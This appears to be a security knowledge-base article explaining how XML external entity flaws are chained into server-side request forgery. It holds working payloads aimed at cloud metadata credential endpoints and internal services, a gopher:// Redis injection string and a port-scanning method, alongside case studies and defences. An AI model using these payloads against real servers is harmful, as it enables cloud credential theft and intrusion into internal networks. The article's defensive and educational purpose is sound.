XXE-to-SSRF chain forces the XML parser to issue HTTP requests to internal services, exposing cloud metadata credentials, internal APIs, and network topology.
TL;DR
SYSTEM "http://169.254.169.254/latest/meta-data/" pivots XXE into SSRFfile:// for http:// to pivot from file read to internal network accessSSRF-via-XXE occurs when an XML external entity's SYSTEM URI uses the http:// or https:// scheme rather than file://. Instead of reading a local file, the parser issues an outbound HTTP request to the specified URL and substitutes the HTTP response body as the entity value. The XML parser becomes an HTTP client under the attacker's control, capable of reaching any URL accessible from the server — including cloud metadata services, internal APIs, and network services never intended to receive external traffic.
The attack is a chain: XXE provides the arbitrary URL request primitive (CWE-611), and SSRF provides the internal network access impact (CWE-918 — Server-Side Request Forgery). Neither is a new vulnerability class — but their combination is devastating in cloud environments where the Instance Metadata Service (IMDS) exposes IAM credentials to any internal HTTP request.
The OWASP A05:2021 classification reflects that this is a misconfiguration: parsers that resolve external entities are misconfigured, and cloud instances that serve IAM credentials without IMDSv2 enforcement are misconfigured. Two simultaneous misconfigurations create a path from XML input to cloud account takeover.
The attack chain:
file:///etc/passwd with http://169.254.169.254/latest/meta-data/ in the SYSTEM entity.POST /api/inventory HTTP/1.1
Host: commerce.example.com
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<inventoryCheck>
<sku>&xxe;</sku>
</inventoryCheck>HTTP/1.1 200 OK
{"sku": "ec2-production-role"}<!-- Second request with role name -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-production-role">{
"sku": "{\"Code\": \"Success\", \"LastUpdated\": \"...\", \"Type\": \"AWS-HMAC\", \"AccessKeyId\": \"AKIA...\", \"SecretAccessKey\": \"...\", \"Token\": \"...\", \"Expiration\": \"...\"}"
}The IAM credentials are now in the attacker's possession. They use them to access any AWS service the role has permission for.
| Cloud | Endpoint | Data Retrieved |
|---|---|---|
| AWS IMDSv1 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE | AccessKeyId, SecretAccessKey, Token |
| AWS IMDSv1 | http://169.254.169.254/latest/user-data | Instance startup scripts (often contain secrets) |
| GCP | http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token | OAuth2 access token |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 | VM identity, subscription info |
| Azure | http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ | Managed identity token |
| DigitalOcean | http://169.254.169.254/metadata/v1.json | Instance metadata |
Once SSRF is confirmed, probe internal services:
<!-- Enumerate open ports on localhost -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379/">
<!-- Redis: responds with banner "-NOAUTH Authentication required" or "+PONG" -->
<!-- Kubernetes API server -->
<!ENTITY xxe SYSTEM "https://10.96.0.1:443/api/v1/namespaces">
<!-- Internal Elasticsearch -->
<!ENTITY xxe SYSTEM "http://10.0.0.10:9200/_cat/indices?v">
<!-- Internal admin panel -->
<!ENTITY xxe SYSTEM "http://internal-admin.corp/api/users">Legacy Java parsers and old libxml2 support gopher:// for raw TCP payload injection:
<!-- Send Redis FLUSHALL command via gopher:// -->
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0AINFO%0D%0A">
<!-- %2A = *, %24 = $, %0D%0A = CRLF — Redis protocol encoding -->Gopher enables sending arbitrary byte sequences to non-HTTP services — Redis commands, SMTP messages, Memcached operations. This path is blocked in Java 11+ and libxml2 >= 2.9.0.
CVE-2024-34102 — Adobe Commerce CosmicSting (CVSS 9.8)
The public CosmicSting PoC focused on the file read to RCE chain, but the same XXE provided SSRF pivot into Adobe Commerce's internal infrastructure on cloud deployments. Sansec confirmed that the XXE could reach internal caching layers and admin panels not exposed to the internet, expanding the attack surface beyond the primary file read capability.
CVE-2024-22024 — Ivanti Connect Secure SAML (CVSS 8.3)
The SAML XML parser made HTTP requests to attacker-controlled DTDs (OOB XXE), but the same entity resolution mechanism could be directed at internal Ivanti infrastructure. Ivanti's internal management interfaces, accessible only from the VPN server's network interface, were reachable through the SSRF pivot.
Capital One Data Breach (2019) — SSRF Pattern Reference
While not XXE-based, the Capital One breach (100 million records) illustrates the identical impact chain: SSRF vulnerability in a WAF → HTTP request to AWS IMDS → IAM credential theft → S3 bucket access. The SSRF technique was identical to what XXE-SSRF achieves; the entry point differed. This breach is the definitive case study for why IMDS access from application servers requires strict controls.
HackerOne #293795 — Uberflip REST API (High)
The Uberflip researcher used OOB XXE to confirm file read, then pivoted to SSRF by changing the entity URI to http://169.254.169.254/. The AWS metadata endpoint responded with instance metadata, confirming the server ran on AWS EC2 and that IMDSv1 was accessible. This two-step process — confirm file read, then escalate to cloud metadata — is the standard XXE-SSRF escalation path.
After confirming XML acceptance, test with an HTTP entity:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://YOUR-TOKEN.oast.pro/ssrf-test">]>
<root><data>&xxe;</data></root>An HTTP callback to your OAST server confirms HTTP scheme SSRF.
Test cloud metadata endpoint:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">If running on AWS EC2 with IMDSv1, metadata directory listing appears in response.
Enumerate internal ports by testing different localhost addresses:
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
<!ENTITY xxe SYSTEM "http://127.0.0.1:9200/">
<!ENTITY xxe SYSTEM "http://10.0.0.1:80/">Response time and content differences reveal open vs closed ports.
Burp Suite Pro active scanner includes SSRF-via-XXE checks using Collaborator for OOB HTTP callbacks.
SSRFmap can be integrated with manually discovered XXE SSRF points to automate internal network enumeration.
BreachVex detects XXE-SSRF by first confirming entity expansion, then testing http://169.254.169.254/ and http://127.0.0.1/ with unique out-of-band callback tokens. An HTTP callback from the target's IP to the out-of-band listener confirms SSRF capability; presence of cloud metadata fields confirms credential theft potential.
// Java — disabling DOCTYPE blocks http:// entity resolution entirely
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Parser cannot make any outbound HTTP requests via entity resolution# Python — defusedxml blocks all scheme types in entity URIs
from defusedxml import ElementTree as ET
tree = ET.fromstring(xml_body) # http:// entities blocked// .NET — XmlResolver = null prevents ALL external URI fetching
var doc = new XmlDocument { XmlResolver = null };
doc.Load(stream);Cloud-layer defenses (defense-in-depth, not replacements for parser hardening):
# AWS — enforce IMDSv2 at instance level (blocks single-request credential theft)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1
# AWS — block IMDS at account level via SCP
# Deny IMDSv1 for all instances in the organization
# Egress filtering — block 169.254.169.254 from application servers
iptables -A OUTPUT -d 169.254.169.254 -j REJECTIMDSv2 enforcement prevents single-step IAM credential theft but does not prevent all SSRF impact. An attacker can still reach internal services (Redis, Elasticsearch, Kubernetes API) via XXE-SSRF even with IMDSv2 enforced. Parser hardening that disables external entity resolution is the only control that eliminates all XXE-SSRF impact.
XML parsers support multiple URI schemes in SYSTEM entity declarations, including http:// and https://. When the parser resolves an external entity referencing an HTTP URL, it issues an outbound HTTP request from the server and substitutes the response body as the entity value. The XML parser becomes an HTTP client, making requests to any URL reachable from the server — including internal network services, cloud metadata endpoints, and localhost services not exposed to the internet.
The AWS Instance Metadata Service (IMDS) is an HTTP endpoint at 169.254.169.254 accessible only from within an EC2 instance. IMDSv1 requires no authentication — any process on the instance can retrieve IAM role credentials by making an HTTP GET to http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME. XXE-SSRF lets an attacker make this request through the XML parser, obtaining temporary AWS credentials (AccessKeyId, SecretAccessKey, Token) that can be used to access AWS services.
IMDSv2 (Instance Metadata Service v2) requires a two-step token exchange: first PUT to get a session token with a TTL, then GET with that token. This prevents single-request credential theft. However, IMDSv2 is opt-in enforcement — if EC2 instances are configured with imds-hop-limit allowing the server to participate, or if IMDSv1 fallback is not disabled, XXE-SSRF can still retrieve credentials. AWS recommends enforcing IMDSv2 at the account level via SCPs.
Cloud metadata endpoints (AWS IMDS, GCP metadata server, Azure IMDS) for credential theft. Internal Redis on port 6379 (via gopher:// in legacy parsers). Internal Elasticsearch (port 9200) with no authentication. Internal Consul/etcd for configuration and secrets. Internal Kubernetes API server (port 6443) if the pod has appropriate permissions. Internal HTTP APIs without authentication that are firewalled from the internet. Docker daemon on port 2375.
http:// and https:// work in all parsers. ftp:// works in Java/Xerces and older libxml2. gopher:// works in very old parsers and can be used to construct raw TCP payloads to non-HTTP services (Redis, Memcached, SMTP). file:// for local filesystem reads. jar:// and classpath:// (Java) for reading from JAR archives. netdoc:// (legacy Java). The available schemes depend on the parser and platform.
CVE-2024-34102 (Adobe Commerce CosmicSting) included an SSRF component — the XXE could reach internal Adobe Commerce infrastructure. CVE-2024-22024 (Ivanti Connect Secure) demonstrated SSRF pivot via XXE in SAML processing. CVE-2025-66516 (Apache Tika) confirmed SSRF capability in PDF/XFA processing. The Capital One data breach (2019) used SSRF against AWS IMDS — while not XXE-based, it illustrates the identical impact path: server-side request to 169.254.169.254 → IAM credential extraction → S3 bucket access.
Direct SSRF exploits URL parameters in application features (webhooks, URL fetchers, image importers). XXE-SSRF uses the XML parser as the HTTP client instead. The impact is identical once SSRF is achieved. The distinction matters for detection: XXE-SSRF is triggered via XML body modification (Content-Type: application/xml), while direct SSRF is triggered via URL parameter manipulation. Both require the same egress controls as mitigation.
Yes, via the gopher:// scheme which constructs raw TCP payloads. A gopher:// URI encodes arbitrary bytes: gopher://127.0.0.1:6379/_%2A1%0D%0A... can send Redis commands. This allows RCE via Redis CONFIG SET if the Redis instance has no authentication. Modern parsers (libxml2 >= 2.9.0, Java 11+) have removed gopher:// support, but legacy Java and old PHP deployments remain vulnerable. HTTP redirect chains can also achieve port scanning of internal services.
Port scanning via XXE-SSRF uses timing and error differentials. Submit SSRF payloads for different ports (e.g., http://127.0.0.1:80/, http://127.0.0.1:8080/, http://127.0.0.1:8443/) and compare: an open port returns a service banner or HTML (entity value non-empty, fast response), a closed port returns a connection refused error (specific error text), and a filtered port times out (slow response). This maps internal services without any OOB infrastructure.
In the CosmicSting attack chain, the primary impact was in-band file read (reading app/etc/env.php). The SSRF component allowed probing Adobe Commerce's internal infrastructure — internal admin panels, caching layers, and internal APIs not exposed to the internet. While the public POC focused on file read to RCE, security researchers noted that the same XXE allowed full SSRF into the internal network of Adobe Commerce cloud deployments.
Preventing XXE (disabling DOCTYPE at the parser level) also prevents XXE-SSRF — the XML parser never resolves http:// entities if DOCTYPE is disabled. As defense-in-depth: (1) enforce IMDSv2 on all cloud instances, (2) implement egress filtering to block application servers from reaching 169.254.169.254, (3) require authentication on all internal services, (4) deploy cloud-provider metadata endpoint protection (AWS Metadata v2, GCP metadata.google.internal requires Metadata-Flavor header).